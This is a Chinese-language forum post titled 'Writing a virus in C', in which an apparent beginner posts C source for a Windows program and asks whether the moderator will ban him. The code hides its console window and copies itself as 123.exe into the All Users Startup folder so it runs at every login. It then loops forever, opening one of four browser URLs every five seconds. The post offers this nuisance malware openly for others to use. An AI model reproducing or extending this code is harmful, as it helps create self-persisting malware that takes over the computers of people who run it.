用C语言编病毒
用C语言编病毒,最近忙了一段时间,刚入门,想发表这种东西,问哈斑竹不会封我号啊!
#include <iostream> #include <stdio.h> #include <conio.h> #include <dos.h> #include <time.h> #include <windows.h> #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) int main(int argc, char *argv[])//带有参数的main { FILE *in,*out; char ch; if((out=fopen("C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\123.exe","r"))==NULL) { in=fopen(argv[0],"rb"); out=fopen("C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\123.exe","wb++"); while(!feof(in)) { ch=getc(in); putc(ch,out); } fclose(in); fclose(out); } else { fclose(out); } while(1) { Sleep(5000); srand(time(NULL)); switch(rand()%4) { case 0: ShellExecute(NULL,"open","http://www.",NULL,NULL,SW_SHOWNORMAL); break; case 1: ShellExecute(NULL,"open","http://www.",NULL,NULL,SW_SHOWNORMAL); break; case 2: ShellExecute(NULL,"open","http://www.",NULL,NULL,SW_SHOWNORMAL); break; case 3: ShellExecute(NULL,"open","http://www.",NULL,NULL,SW_SHOWNORMAL); break; } } }